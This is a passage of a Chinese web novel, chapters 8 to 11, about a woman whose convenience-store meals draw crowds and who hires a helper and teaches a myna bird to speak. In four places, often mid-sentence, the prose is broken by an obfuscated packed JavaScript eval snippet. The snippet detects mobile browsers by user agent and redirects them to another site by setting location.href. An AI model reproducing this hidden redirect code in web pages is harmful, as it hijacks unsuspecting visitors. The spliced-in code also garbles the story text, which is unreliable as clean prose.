“外面有桌子,可以坐着吃。”看到她那迫不及待的吃相,明清欢觉得不用再问她菜好不好吃,于是提醒。 周瑶瑶已经完全沉浸在红烧排骨的美味中,酱汁香、肉香、和微微焦糖香随着咀嚼依次在味蕾上蔓延开,那层次分明的味道,好吃到她有点想哭。 肉咽下肚子里,她连骨头都舍不得直接扔,而是含在嘴里啃了一会才舍得吐出来。 明清欢做的红烧排骨肉质软烂,轻轻一咬就能脱骨,骨头上其实根本不会残留什么肉,她纯粹是多咬两口把骨头上带的味道给吃掉。 “老板你厨艺也太棒了,这是我吃过最好吃的红烧排骨!你做的这三个菜看起来都色香味俱全就算了,为什么米饭也蒸得那么诱人……” 周瑶瑶忍住继续吃的欲望,对着她大夸特夸后才去找桌子坐下吃饭。 便利店靠门边那面墙摆着张桌子,以前明老爷子在世时,那张桌子是祖孙二人吃饭的地方。不过如今店里只有明清欢一人,她更习惯在柜台后坐着吃饭,那张桌子已经成为给顾客坐着休息的地方。 周瑶瑶在桌前坐好,握着筷子就埋头大吃特吃,只觉得排骨好吃,豆腐酿肉好吃,干煸藕丝更是好吃到她眼睛都亮起来。 藕丝经过高温煸炒,香味被完全激发出来,吃进嘴里表面微微焦脆,内里则还带着点藕特有的多汁感,好吃到令人停不下来。 简直就是人间美味! 如此美味的饭菜,让周瑶瑶吃出了幸福感,十分钟不到餐盒里的饭菜已经快速消失,马上就要见底。 她在大吃特吃时,明清欢没有闲着,在厨房里把饭菜打包成一盒盒快餐。 不过还没等她全部打包好,就有人闻着味找过来,刚开始还只有几个人,没多久却是人越来越多。 “老板今天是不是有快餐卖?我要两份!” “好香,我闻见红烧排骨味了。” “是不是有豆腐?好香的豆腐味。” 周瑶瑶人还挺好,见店里人越来越多,两口解决餐盒里最后那点饭菜,起身去厨房那边给明清欢帮忙。 “老板饭多少钱?我帮你先把装好的拿出去吧。” “二十一份。” 明清欢家菜量不算少,加上还有排骨这种成本高的食材,卖二十一份真不贵。 刚吃完饭知道菜有多美味的周瑶瑶甚至觉得卖得太便宜,毕竟她之前点外卖,单一份红烧排骨盖浇饭都要二十多块,还没这个好吃。 周瑶瑶先将自己那份饭钱扫码付款,随即拿着明清欢已经打包好的饭分给挤在柜台前的其他顾客。 隔着餐盒上面的透明盖子都能看出,里面三个菜卖相十足。顾客们抢着买完,有人选择带走回家吃,有人则是被香味馋得直接掀开盖子就开动。 “这菜色真不错,看着就好吃,唔,排骨好香……” 红烧排骨软烂入味,但吃起来烂而不柴,咀嚼间香味很是醇厚,肉香浓郁的同时吃不出一丝肉腥气,吃完余味更是令人回味无穷。 一口排骨一口米饭,那种好吃又有饱腹感的满足,更是令人舒服地想要叹息。 先拿出来的十几盒快餐没多久就被卖光光,周瑶瑶看着别人吃饭,明明刚刚已经吃饱,现在感觉又有点饿。 于是等明清欢将厨房里剩下的菜全部打包好拿出来时,她边扫码边伸手道:“我再买一份。” “你刚刚没吃饱?”明清欢有点怀疑自己装的分量难道太少。 “肚子饱了,但看到他们吃我又有点馋,没事,我吃不完可以带回去当晚餐,不会浪费的。”周瑶瑶说完夹着干煸藕丝吃起来,觉得这比薯条还好吃。 她话落,站在店里吃饭的几个顾客都忍不住对着明清欢夸起来,都是在夸她手艺好。 明清欢还没吃午餐,见暂时没有人过来买东西,端起自己那份饭吃起来。 她才吃两口饭,先是被关在笼子里的八哥边扑腾翅膀边叫个不停,随即又有顾客上门来买快餐。 “太好了,老板你终于卖快餐了,我这些日子都快被你馋死!” 说话的是对面奶茶店的员工,最近这周每到饭点就会被从便利店飘出来的饭菜香给馋到,感觉外卖都不香了。 今天终于发现好像有快餐卖了,赶紧跑过来买。 “你继续吃吧,我帮她拿。”周瑶瑶嘴很馋,但胃里已经装不下,吃几口藕丝就停下手,让明清欢继续吃饭,自己帮顾客拿快餐。 “多少钱一份?” “二十。” 奶茶店员工帮同事带了一份,扫了四十块钱买走两份赶紧回自家店里去用餐。 不光奶茶店员工过来买快餐,隔壁童装店和旁边女装店都有人过来买饭吃。 饭点时一般很少人会逛街买衣服,但也不是完全没有。女装店里几个店员已经完全沉浸在快餐的美味中时,忽然有两个顾客进门。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075125|163332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 平常反应很快的店员此时满脑子都是“豆腐酿肉怎么这么好吃”、“这红烧排骨也太香了”、“原来莲藕还能这么吃”,压根没人注意到客人上门。 两位顾客原本是觉得橱窗里模特身上那件衣服不错所以想进来逛逛,结果进门却被店员们面前的饭菜给吸引,问衣服的话变成:“你们的快餐是在哪买的?看起来好香啊。” “就在前面那家侠客便利店。” 店员此时沉迷美食根本无心做生意,见有顾客进来问话并没有起身接待,而是直接告诉她们。 两个年轻女孩闻言,道谢完便转身离开,边走边小声聊天:“侠客便利店?这名字还挺特别。” “特别不特别先不管,我更好奇的是,现在便利店都有快餐卖了吗?” “正常啊,我之前公司楼下那家便利店也有快餐速食,不过没有刚刚看到的那么诱人。” 说话间她们找到侠客便利店,发现跟她们想象不同,这家店看起来有点老旧,装修一看就有不少年头。 不过闻着从店里飘出来的浓郁香味,她们没多纠结,直接进去买饭。 “你好,这饭怎么卖?” “二十块钱一份。” 明清欢还在吃饭,帮忙回答的是周瑶瑶。 “菜都一样吗?”短发女生边看边问。 “对。”周瑶瑶点头,随即介绍起来,“两荤一素,有红烧排骨、豆腐酿肉、干煸藕丝,每个菜味道都特别好,只剩最后这十几份了,要买可得赶紧。” 明清欢今天做的菜一共打包出来五十份,刚刚附近店铺里的人和路人就买走一大半,现在剩得真不算多。 “我们要两份。” 两个女生还顺便在店里买了两瓶饮料,随即寻找坐的地方,然而墙边的桌子已经有人在坐着,她们只能找了两个小板凳坐下。 “唔,这豆腐酿肉好好吃,一吃就是新鲜豆腐现做的!” 短发女生爱吃豆腐,打开盖子先吃了口豆腐酿肉,豆腐外皮带着焦香,内里的软嫩与细腻鲜美的肉馅混合在一起,豆腐香和肉香完美融合,吃起来令人回味无穷。 她朋友则是□□煸藕丝给惊艳到,边吃边夸:“这个藕好好吃啊,外酥里嫩,吃起来焦香脆嫩,我还是第一次吃这种做法的藕。” 藕丝干煸时加了辣椒,吃起来既有藕的鲜味还带着微微辣,单吃可口,配饭吃更是令人开胃。 二人本来是听说老街这边衣服便宜,趁着周末出来逛街买衣服,没想到一家看起来旧旧的便利店饭菜竟然比好多大饭馆都美味,有些后悔没早点过来这边逛。 两个女生坐的位置靠近门边,看到她们吃得那么香,路过的人不自觉走过来,于是半个小时不到,店里剩下那十几份饭直接被买光光。 有个男青年买完饭直接去旁边网吧上网,本身网吧里空气就不是很流通,随着他把盖子掀开,香味瞬间从他座位蔓延开来。 唔,这排骨太好吃了! 已经把电脑打开,本来准备边吃边玩的青年咬一口排骨后,顿时顾不上玩电脑,埋头苦吃起来。 9. 第9章 网吧里人不算少,大多都对着电脑沉浸在游戏中无法自拔,然而随着浓郁香味从吃饭的青年座位蔓延开来,渐渐开始有人分神。 “坑爹啊!能不能别送人头……什么这么香?” 有人本来还在骂队友,骂着骂着忽然闻见香味,下意识用余光扫向左右。 还有人刚结束游戏,直接顺着香味凑到那名青年旁边:“兄弟,你这饭是在哪买的?” “楼下街对面那家侠客便利店。”青年吃着香喷喷的饭菜,勉强抽空回答一句就又用筷子夹块豆腐进嘴里。 被油煎过的豆腐本来就香,再配上豆腐里的肉馅,更是格外美味,他只觉得从来没吃过这么好吃的豆腐! 看到他吃得那么香,刚刚问话的人口水差点没下来,连电脑都顾不上关,直接转身准备去买饭。 类似这种看到别人吃快餐而被馋到的人简直不要太多,可惜他们都来晚了,等找到侠客便利店时快餐早就卖完。 “那不是还有一份吗?” “这是我没吃完,留着晚上吃的!”周瑶瑶见有人盯上自己的饭,赶紧护食道。 “老板你不能再做点吗?我可以等的。” “对啊,现在饭点都还没过,哪有做生意就卖那么一会……” 店里还残留着饭菜香味,找过来的人试图让明清欢再做点饭菜来卖。 手艺得到顾客肯定,明清欢心里自然高兴,但她从早上到现在都没怎么休息,哪怕并没有觉得累,还是不想一整天都在忙碌中度过。 见她没有答应,新顾客们有些失望,只能问清楚营业时间准备明天再来。 快餐已经卖完,很快店里人就都离开,只剩下明清欢和周瑶瑶。 “老板,你这缺人不?只要管饭,工资可以看着给。” 人生在世,吃喝二字。 周瑶瑶刚刚吃饭时就想过,要是天天能吃到如此美味,那她不知道该有多幸福。 她说这话倒不是一时冲动,而是刚找的工作做得并不顺心,觉得与其在公司累死累活,还不如在便利店混吃混喝。 当然,主要也是她家条件还行,她前两天跟妈妈吐槽公司钱少事多,领导傻缺时,她妈说过实在不行就回家。 现在才三月份,回家躺平实在有点摆烂,她觉得如果便利店收人,那冲着美食的份上,她简直不要太可以! 之前还好,明清欢感觉自己忙得过来,但随着中午开始卖快餐,她觉得有个人手帮忙确实不错。 明老爷子去世后原主手里只有五位数存款,而店里在没卖快餐前,每日收益真不算特别高,养活明清欢绰绰有余,但招人就有点紧张。 当然,从今天卖快餐可以看出来,只要明清欢愿意动手,想多赚点钱并非难事。 不过能赚钱是一回事,但现在又还没赚到,因此她试着开了个三千的工资。 三千块钱工资在q市真不算多,但如果包吃的话,就冲中午如此美味的伙食,周瑶瑶觉得可以接受。 “包三餐吗?上班时间怎么算?” “三餐你可以跟我一起吃,上班时间早上八点,下午四点,不过双休的话不一定能在周六周日,因为周六周日店里会更忙一些。”明清欢明显是从原主记忆中得知八小时工作制和双休,以为工作都得照这个来。 早八晚四,还有双休? 如果说周瑶瑶之前是单纯被美食诱惑,那么在听到她说的工作时间后,恨不得现在立刻马上就打电话去辞职。 “我可以,我太可以了!就是我得先去辞个职,老板你务必要等我!”周瑶瑶甚至想握着她的手摇两下,让她答应千万别招别人。 明清欢不知道她为何如此激动,躲开她伸过来的手后颔首答应。 “耶!”周瑶瑶欢呼一声,随即不想再耽搁,拿着那份留着晚上吃的快餐转身回家。 她走后,明清欢将厨房收拾干净,终于能坐下来好好休息会。 她打开电视时顺手把鸟笼打开,结果就见八哥非但没有往外飞,还背过身去用尾巴对着自己。 中午店里最忙那会,它在笼子里叫个不停,声音那叫一个嘹亮,但明清欢哪有空理会它。 此时见它还会闹小脾气,明清欢感觉挺有趣,伸手将它从笼子里抓出来。 小东西确实有情绪了,在她手摊开时瞬间就飞出去,躲到灯上面去不肯再下来。 明清欢见此没去管它,自顾自看起电视来。 比起上午和中午的热闹,下午店里顾客倒是不多,没人来时,店内只有电视机发出来的声音。 又一集电视放完,明清欢正准备起身去喝点水,结果耳边忽然听见几声不太清晰的“小八”。 嗯? 她微微抬头,就见原本其躲在灯上闹情绪的八哥张开翅膀在天花板上边飞边发出声音,显然是见她一直不理自己,开始找存在感。 明清欢没教过它说话,见它竟然无师自通学会自己的名字,不由抬起手道:“过来。” “啾乃。” 八哥没过来,而是含糊不清地学她说话。 明清欢听说过八哥能学舌,但真见到时还挺稀奇,见它不肯飞下来,抓了把瓜子摊在手上。 它倒是挺好哄,看到瓜子立刻飞下来停在她手心,熟练地嗑起瓜子。 投喂完瓜子,明清欢试图教它说话,但它翻来覆去只会“小八”和“啾来”,尤其是自己名字,越说越顺口。 “傻鸟。” 见教半天它只会这两个词,明清欢起身喝完水后忍不住戳着它脑袋说。 “傻呀,傻呀~” 都说学好不容易,学坏一出溜。前面明清欢怎么教它它不会,这会却是张口就来,尤其那个“傻”字说得最清楚。 明清欢:“……” 她有些无语,用手指轻弹八哥小脑袋,有点怀疑它是不是故意的。于是待会出去采购食材时,她没带八哥出门,而是将它留在店中。 今天快餐卖得好,加上答应招周瑶瑶为员工,明清欢接下来肯定得保持每天的快餐供应,因此今天买菜时顺便跟她觉得不错的菜摊定下食材供应。 “小八,啾来,小八,啾来~”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075126|163332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可能是发现她听到自己说话会高兴,八哥在她卖完菜回来后不停上串下跳地重复着,实在有些吵人。 明清欢把刚买的蓝莓塞一颗堵住它的嘴,先去厨房先整理食材,再开始做晚餐。 她刚刚看到有人在卖小鱼小虾,感觉还挺新鲜,就买了点回来,此时不光炒出一盘给自己当晚餐,还特意不放油干煎了一些出来准备喂鸟。 小鱼小虾下锅时,河鲜特有的鲜味瞬间就飘出去,直接把附近店铺的人都吸引过来想要买快餐。 得知明清欢晚上不做快餐,对面奶茶店员工、服装店店员等中午吃过她家快餐的人很是失望。 离开前,大家都忍不住劝明清欢晚上也做点快餐卖,并保证只要保持中午那种水平,绝对不愁卖。 换个爱赚钱的老板,说不定就答应。可惜对于明清欢这位经历过不少风风雨雨,大仇得报后如今有些佛系的人来说,她只想给自己找点事做,却不想终日都为银钱忙碌。 附近人是吃不到明清欢做的晚餐了,但八哥倒是有口福,能吃到香喷喷的小鱼小虾。 明清欢用美食诱惑,倒是又教会它一个“吃”字。 此时教会它说话,明清欢还挺有成就感,不过等到次日天蒙蒙亮,听到八哥不停重复自己会的那几个字,她却是被吵到想堵鸟嘴。 “闭嘴。” “闭喂,闭啾嘴,闭嘴,闭嘴~” 明清欢抬眸扫过去,八哥敏锐地察觉到她不高兴了,立刻闭嘴低头装模作样用嘴巴梳理羽毛。 早上她照旧起来就先做馒头、煮茶叶蛋,七点不到,第一笼馒头已经出锅,与此同时外面响起敲门声。 附近吃过她家馒头的人都夸好,如今每天一大早就有人跑过来买,生怕来晚了买不到。 “稍等。” 明清欢话落就赶紧过来开门,她门刚打开,就立刻有好几个顾客嚷嚷着自己要多少馒头和茶叶蛋。 八点时,周瑶瑶来到店里,就见里面竟然还排起队来,赶紧过去帮忙。 明清欢有点诧异她今天就过来,但此时店里人多也没空和她聊,便将柜台交给她,自己去厨房把刚蒸好的馒头拿出来。 还真别说,有人帮忙就是不一样,等今天的馒头全部蒸完,明清欢不用再守在店里,而是可以在厨房提前准备食材。 “老板,还有馒头没?” 九点还差十几分时,馒头和茶叶蛋全部被卖完,眼见还有顾客来买馒头,周瑶瑶跑到厨房问。 “没有了。” 周瑶瑶闻言转身通知顾客后,等顾客失望地离开,她重新来到厨房,指着蒸笼里剩下的馒头好奇道:“这里不是还有吗?” “这是给人留的,她中午过来拿。”明清欢说完,将一碗面递过去,“早餐。” “哇,好香的面!你怎么知道我还没吃早餐~” 浅金色的面汤里窝着根根分明的面条,上面盖着形状完美的煎蛋、炒得香喷喷的肉酱以及翠绿的青菜。 扑鼻而来的香味和诱人的卖相,让周瑶瑶还没吃就知道这面肯定好吃。 10. 第10章 “老板你手艺真好!” 周瑶瑶最后夸一句,随即握着筷子就吃起来,先咬一口鸡蛋,表面微焦的鸡蛋吃起来特别香,再配着肉酱来口面条,手工做的面条特别有弹性,肉酱的浓郁鲜香和面混合在一起,简直完美。 她站在原地呼噜呼噜吃掉大半碗面,才在明清欢的提醒下走出去找位置坐下来吃。 “老板你做的面太好吃了!” 坐下来的同时周瑶瑶还不忘扯着嗓子再夸一句,夸完低头喝口汤,发现连面汤都格外鲜美。 她喝完汤脸上露出满足的表情,边继续夹面条边感叹自己实在太机智,竟然给自己找了个如此好的工作。 “小八,啊啾,小八,吃~” 周瑶瑶正吃着面,耳边忽然传来说话声,换做其他时候,会说话的八哥肯定会让她稀罕得不行,但此时她只惊讶两秒就挥挥手道:“去旁边玩去,别把羽毛掉我碗里了。” 比起会说话的八哥,显然对她来说,此时此刻还是碗里面条更香。 超市里卖的挂面先不说,就说现在好多早餐店里卖的面都是机器压出来,口感根本没有手工面那么好吃。 而明清欢不光面是纯手工做出来,还做得格外用心,面条不光麦香十足,吃起来更是爽滑筋道,尤其是配上肉酱,更是越吃越香。 周瑶瑶不想搭理八哥,但八哥已经盯上她碗里的面条,趁其不备还是在她筷子上偷了根面条飞回笼子里去吃。 她反应过来后立刻扯着嗓子告状:“老板,你家八哥抢我面吃!” 厨房内明清欢听到声音,手上动作不停,语气却是微微透着警告道:“小八。” 八哥闻言,本来还想再抢一次的它瞬间老实下来,窝在笼子里装乖。 周瑶瑶告完状见它老实下来,也不介意它刚刚从筷子上抢走一根面,继续就着碗边把剩下的面吃完。 直到最后一滴汤都下肚,她一抹嘴,只觉得从来没吃过这么让她满足的早餐。 拿着碗进厨房时她还一个劲夸:“老板面是你自己擀的吗?好好吃啊,特别有筋道,不像我妈煮的面,每次都煮的跟个糊糊一样。” “你喜欢吃就好。”厨师最高兴的事莫过于食客吃得满意,明清欢说完才询问,“你不是说要先辞职,怎么今天就来了?” “别提了,我昨天打电话辞职,那傻缺领导还训我,我才不惯着他,直接跟他吵了一架,所以不用去了。” 本来她想好好说,好歹把工资拿到手,结果领导太烦人,她实在没忍住,干脆懒得要那点工资,直接把人臭骂一顿,也不用再过去做什么交接。 明清欢见她算是已经辞职,没再说什么,只点点头表示知道。 “哇,老板你刀功好好啊!”周瑶瑶忽然注意到她手上动作,见她几十秒功夫就把整个莲藕切成丝,眼睛都不自觉睁圆。 “有这个刀功,怪不得老板你做饭那么好吃。”周瑶瑶夸完又在旁边欣赏一会,随即先去旁边水池把自己那个碗洗了,然后问她有没有需要帮忙的。 明清欢边切菜边道:“不用,你在店里守着就行。” “好!”周瑶瑶在家没怎么做过饭,说实话,真让她打下手她还真不一定能行,于是点头答应便出去。 有人负责看店,明清欢能专心在厨房忙活,效率瞬间就上来。 十点半时已经有米饭香味从厨房里飘出来,十一点不到时,已经有阵阵菜香混着米饭香一起蔓延开来。 菜色没必要每天换,明清欢今天还是做红烧排骨、豆腐酿肉和干煸藕丝,肉香、豆腐香、藕香,每种菜香都闻着就令人胃口大开。 周瑶瑶九点左右时才吃完一大碗香喷喷的面条,按说这会还没有消化完,结果闻见香味就感觉自己好像又饿了。 她不自觉吞咽口水时,附近店铺里有人已经闻见味,直接跑过来买饭。 “稍等一下,我问问有没有好。”周瑶瑶见还不到十一点就有人来买饭,先是有些诧异,不过想想快餐的美味程度又觉得能理解。 她起身去厨房时明清欢还在做最后一道菜,看到那口大锅里金灿灿的藕条被翻炒着,她恨不得伸手去拿两根塞嘴里。 “怎么了?”明清欢见她跑进来呆呆站着,余光扫过去。 “有顾客来买饭,要不我先开始打饭?” 明清欢看着她口水都快流出来的模样,有些好笑,用铲子递给她两根藕丝后说:“不用,让客人等一会吧。”店里还是有人看着更放心,她觉得没必要那么急两个人都在厨房忙活。 “好。”刚出锅的干煸藕丝有点烫,但吃起来那叫一个香,稍微解解馋的周瑶瑶开心地跑出去,告诉顾客还有个菜没好,要稍微等会。 厨房内,明清欢将干煸藕丝出锅,开始打包饭菜时,外面人越来越多,竟然还排起队来。 “我跟你说,这里快餐可好吃了。” 有昨天吃过快餐觉得好吃的人今天特意带朋友过来,边排队边跟朋友说。 “闻起来确实很香。”朋友闻着诱人的香味,有点好奇吃起来是不是也想闻着那么香,毕竟闻起来香但吃起来不怎么样的美食她又不是遇到过。 等待过程中,排队的顾客基本都在聊天,语气中透着对美食的期待。 “看香味,好像还是昨天的菜色。” “挺好的,昨天的红烧排骨可香了,正好我还没吃够。” “我觉得那个藕丝才真是绝了,外焦里脆,比薯条还好吃一百倍!” 顾客们讨论着昨天的菜色时,明清欢终于将饭菜打包好一部分先送出来,由周瑶瑶按顺序卖出去。 店内顾客们看到快餐好了抢着买饭时,外面街上,有个年轻人正牵着狗路过,本来是走得好好的,结果忽然被狗拉着往一个方向跑。 “你干嘛?元宝,停下。” 被叫元宝的大金毛根本不听主人在说什么,摇着尾巴死命往侠客便利店方向跑,没多久就拖着主人成功冲进店里。 “你……”元宝主人想骂它都没力气,喘息两声平复呼吸后,扑鼻而来的香味让他瞬间明白它为什么那么兴奋。 眼见它还想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他话落,正好明清欢拿着刚打包完的快餐出来,闻言转身将厨房里剩的那一丢丢红烧排骨汤汁拿出来。 当时注意到吴佑南身影时,明清欢顺手将特意留的馒头和一盒菜递过去给她。 “谢谢姐姐。”吴佑南看见袋子里还有菜,尤其是菜里好像还有肉的样子,便想多掏几块钱。 明清欢只意思意思地多收了一块钱,确定她明天还是要二十个馒头后就转身就忙自己的事去。 “老板,刚刚那是你家亲戚吗?”周瑶瑶见那么多馒头竟然是留给这么个小姑娘,有点好奇。 明清欢摇头表示否定,不过也没多说什么,而是道:“厨房给你留了饭,你可以去吃。” 周瑶瑶早就被顾客们的吃相给馋到,她高高兴兴地去里面吃饭时,明清欢带出来的那点汤汁还差点让正在吃饭的顾客们抢起来。 经过太火收汁,红烧排骨的汤不算多,但浓缩都是精华,用来拌饭吃那叫一个香啊! 11. 第11章 元宝主人也抢了点汤汁来拌饭,原本就晶莹的米饭浇上汤汁,色泽看起来更添一抹油光,不光卖相越发诱人,吃起来更是能香进人心坎里。 太好吃了! 他吃得完全停不下来,直到他家大金毛急得整只狗立起来,就差没伸出爪子抢他筷子,他才不情不愿地夹起块红烧排骨,还要咬一口肉下来才舍得丢到地上。 大金毛看到肉立刻低头啊呜咬上去,连骨头都直接被它嚼碎,香喷喷的红烧排骨吃得它尾巴都快摇出花来。 “这是人吃的,你别闹,等会回家我给你开罐头。” 元宝主人见它吃完还想要,有些不愿意,心说狗本来就不能吃人吃的东西,干脆直接拒绝。 “汪汪汪——” 大金毛刚尝到肉味,见主人要吃独食不给自己,怎么肯答应,仰头发出抗议的叫声。 元宝主人见它叫得那么大声,怕影响到别人,瞪它一眼后刚想到可以再给它买一份,结果转头就发现饭菜竟然已经卖完了。 “真没有了吗?” 其实挺正常,本来明清欢就只做了五十份快餐,周围店铺的老板店员们买一买,附近网吧的顾客买一买,再加上顺着香味找过来的路人,自然很容易就卖完。 元宝主人有点后悔刚刚没多买一份,现在也只能用盖子分点饭菜给自家狗,免得它在别人店里闹。 “出来。” 他分好饭来到门外,找地方放好后大金毛立刻低头大口大口吃起来。 便利店里就一张桌子,加上零散的椅子,最多能容纳六七个人坐下来吃。 换平常,这种连座位都没几个的地方,估计没几个人愿意来吃饭。但由于快餐味道太好,反而没顾客在乎这个,有个椅子坐就很高兴,吃得那叫一个满足。 “老板,这是你自己做的菜吗?” 有今天意外路过被吸引过来的新顾客吃得五分饱后,终于放慢进食速度,边继续品尝碗中美味边忍不住好奇。 “对。”明清欢也还没吃饭,将快餐全部卖完就端着自己那份坐在柜台前用起来。 和狼吞虎咽的顾客们比起来,她吃相就要好看很多,不过进食速度却并不慢。 “老板你有这手艺干嘛要开便利店,我觉得你可以直接开个餐馆。” “确实,外面那些餐馆还没你做的好吃,你要是改行开餐馆,肯定比便利店赚钱。” 有人说话后其他顾客都跟着开口,觉得她这个水平不开餐馆简直可惜。 尤其是有顾客见她自己吃的也是同样的菜色,对手中快餐的评价更高几分。要知道,老板自己都敢吃的东西,那说明它不光美味,还干净卫生,能让人吃得放心。 明清欢笑笑没有接话,而店门口,元宝主人见自家贪吃狗吃完自己那份又要抢自己的,加快速度扒完餐盒里的饭菜后,也忍不住转头加入店内的谈话中。 “开不开餐馆先不说,老板我觉得你可以多做点快餐,就你家这菜色,我感觉我能吃两份。”元宝主人咽下嘴里的饭菜,很是意犹未尽。 他话落,店内其他顾客赞同地点头:“对,可以多准备点,最好再加点其他菜色。” “老板你会做鱼不?我爱吃鱼。” “老板你红烧排骨烧得那么香,肯定也会做红烧鸡翅,要不改天搞个红烧鸡翅?” “老板你这个藕丝怎么做的?也太好吃了,我从来没吃过这么好吃的藕!” 顾客们对侠客便利店的快餐赞不绝口,甚至有人忍不住点起菜来。 等把饭吃完,这几个顾客也没立刻走,而是凑到鸟笼前逗鸟完。 小八看到那么多人凑过来看自己,张口就是:“傻,傻啊!” “嘿,这鸟还会骂人,你还会说什么话?” “来,说一句‘我不是八哥’。” 顾客们试图教它说话,结果小八却是不学,只一个劲说“傻”,也不知道是不是在骂这些顾客。 直到快两点时,顾客们才全部离开,走之前他们还或多或少在店里买了点东西。 “老板你喜欢狗吗?” 周瑶瑶吃完饭出来后有注意到明清欢望着那只金毛看,等人都离开后随口跟她闲聊。 “还好。” 明清欢刚刚注意那只金毛,主要还是她在大齐时没见过这种狗,所以才会多看两眼。 “金毛很亲人的,你喜欢下次看到可以摸摸。” 闲聊几句后,周瑶瑶觉得好歹是上班不能一直混时间,于是问:“我要干点什么?” 明清欢闻言带她熟悉一下店铺,顺便告诉她东西都放在什么地方以及送货电话。 今天是星期一,街上人明显没有周六日那么多,下午来便利店买东西的人不算多。 等周瑶瑶花点时间熟悉完店铺后,明清欢招呼她坐下来休息一起看电视。 “老板,为啥不用电脑看?” 周瑶瑶刚发现电视里放的是西游记是还有点诧异,结果经典不愧是经典,她坐在旁边没几分钟就看进去了,于是等电视开始播广告时问。 原主是有笔记本电脑的,只是对明清欢来说,电视和手机都够她用,目前还没开过电脑。 听到周瑶瑶的话,她这才上楼去把笔记本电脑拿下来,两个人凑到柜台后追起西游记来。 “以前光顾着看猴了,都没发现有那么美人……” 周瑶瑶笑着说完,明清欢微微点头,觉得电视机女子确实都很美。 由于接下来没有顾客上门,两个人不知不觉就连看了好几集电视,最后还是明清欢余光发现外面天色已经暗下来,才开口问:“晚上想吃什么?” “这么快就天黑了?”周瑶瑶下意识转头看向外面,感觉今天时间过得特别快。 “我不挑食,吃什么都可以。” 得到周瑶瑶这个回答,明清欢起身去厨房准备晚餐,留她在柜台后看店。 随着店里灯亮起,没多久厨房里就开始传出饭菜诱人的香味。 清脆爽口的炒莴笋、鲜香美味的外婆菜炒鸡蛋、肉香浓郁的小炒肉,再加上香喷喷的大米饭。 用瓷盘装的菜肴卖相比中午的快餐看起来更加令人有食欲,周瑶瑶望着桌上的菜,握着筷子连干了两碗米饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075128|163332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 太好吃了!怎么会这么好吃! 菜有菜香,肉有肉香,蛋有蛋香,饭有饭香,这中听起来像是废话的夸赞,却是周瑶瑶此时心里最真实的想法。 她只觉得从来没吃过如此美味,令她感到舒服的饭菜。 她之所以会有这种感受,主要还是跟她之前常吃的外卖比起来,明清欢不爱放重油重盐来增加菜肴美味,更愿意用最少的调料激发食材本身的美味。 感觉自己今天三餐都吃得特别满足,但却没干太多事,吃饱喝足后周瑶瑶都不好意思走人,想看看还有没有能帮忙的地方。 “不用,你可以回家了。” 早就到下班时间,明清欢自然不会让她继续待在店里守着。 周瑶瑶又坐一会,见确实没什么事才起身离开,表示自己明天会早点来。 可能是有美味的早餐在前面吊着,接下来的日子,周瑶瑶每天七点半左右就到达便利店,晚上更是吃完饭还要在店里再待会才回家。 与此同时,侠客便利店的馒头、茶叶蛋和快餐已经在附近这片地方小有名气,每天早上和中午,甚至有人提前好久过来等着买。 “老板你真不能多做点吗?” 有个在附近网吧上网的顾客自从发现侠客便利店快餐好吃,这几天中午都是过来买饭吃,没想到今天过来却没买到,忍不住发出请求。 明清欢还没说话,周瑶瑶先开口道:“下次一定。” “你也太敷衍了。”没买到饭的顾客望着正在店里吃得香喷喷的其他人,都有点后悔没来早点。 其实他今天比昨天来得还早两分钟,只是没想到由于侠客便利店快餐好吃又不贵,其他顾客来得比他更早。 今天明清欢换了菜色,三个菜分别是红烧鸡翅、辣椒炒肉、酸辣土豆丝。 “好吃吗?”没买到饭的顾客望着正吃饭的人,明明知道肯定好吃,还是忍不住多问一句。 “好吃,这辣椒炒肉味道太正了,肉片又嫩又滑,辣椒辣劲十足,太下饭了!” “红烧鸡翅也好吃,皮滑肉嫩,特别入味,而且轻轻一咬就脱骨,太香了!” “我觉得酸辣土豆丝才真是绝了,酸辣味恰到好处,吃起来特别开胃。” 正吃饭的顾客听到询问,都不自觉夸起来,同时有人还朝明清欢喊话:“老板,不能一天多搞几个菜吗?我可以加钱的,今天的菜特别好吃,但是你之前做的干煸藕丝我都还没吃够。” 